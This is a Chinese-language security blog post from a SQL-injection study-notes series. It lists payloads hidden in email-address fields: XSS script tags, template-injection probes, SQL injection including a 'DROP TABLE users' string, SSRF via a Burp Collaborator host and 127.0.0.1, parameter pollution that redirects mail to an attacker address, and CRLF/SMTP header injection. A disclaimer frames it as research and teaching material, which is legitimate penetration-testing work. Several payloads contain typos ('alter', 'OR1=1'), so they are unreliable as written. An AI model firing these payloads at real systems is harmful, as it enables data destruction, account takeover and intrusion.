其他
Sqli学习笔记系列-遇到与邮箱相关的功能的测试思路(payload)
Sqli学习笔记系列-遇到与邮箱相关的功能的测试思路(payload)
声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。
主要测试思路
xss:
test+(<script>alter(0)</script>)@example.com
test@example(<script>alter(0)</script>).com
"<script>alter(0)</script>"@example.com
模板注入:
"<%= 7 * 7>"@example.com
test+(${{7*7}})@example.com
SQLi
"'OR1=1--'"@example.com
"mail);DROP TABLE users;--"@example.com
SSRF
richard.o1o1@abc123.burpcollaborator.net
richard.o1o1@[127.0.0.1]
参数污染
victim&email=attacker@example.com
Header注入
"%0d%0aContent-Length:%200%0d%0a%0d%0a"@example.com
"recipient@test.com>\r\nRCPT TO:<victim+"@test.com